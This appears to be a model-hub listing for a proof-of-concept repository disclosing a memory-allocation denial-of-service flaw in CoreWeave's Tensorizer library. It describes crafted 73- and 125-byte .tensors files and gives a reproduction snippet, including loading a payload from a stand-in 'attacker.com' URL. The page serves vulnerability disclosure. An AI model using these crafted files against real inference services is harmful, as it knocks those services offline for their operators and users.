You can deploy this model and start earning money today!

0xiviel/
poc-tensorizer-dos

Name: poc-tensorizer-dos
Availability: InStock

Views

No views yet

PoC: Tensorizer Uncontrolled Memory Allocation DoS

Vulnerability

CoreWeave's Tensorizer library has two independent uncontrolled memory allocation vectors when loading .tensors files. Both read unsigned 64-bit integers from untrusted file data and use them directly for allocation without any upper bound validation.

Vector 1 — Metadata total_len (serialization.py:841): A crafted 73-byte file triggers reader.read(18,446,744,073,709,551,615) (~18.4 exabytes)

Vector 2 — Tensor header_len (serialization.py:646): A crafted 125-byte file triggers bytearray(18,446,744,073,709,551,615) (~18.4 exabytes)

Files

malicious_metadata_dos.tensors — 73-byte file, triggers metadata allocation DoS
malicious_8gb_dos.tensors — 73-byte file, triggers 8GB metadata allocation
malicious_header_dos.tensors — 125-byte file, triggers per-tensor header allocation DoS
create_malicious_tensors.py — Script to generate all PoC files

Reproduction

python

from tensorizer import TensorDeserializer

# This triggers a MemoryError or OOM kill:
d = TensorDeserializer('malicious_metadata_dos.tensors')

# Also works from remote URL (common production usage):
d = TensorDeserializer('https://attacker.com/malicious.tensors')

Impact

Denial of Service on any ML inference service using Tensorizer
Remotely triggerable via HTTP/S3 model URLs
73-byte payload crashes the process
Affects CoreWeave's Inference platform and any Tensorizer user

NON-DESTRUCTIVE

These files only cause memory allocation attempts. No code is executed.

0xiviel/poc-tensorizer-dos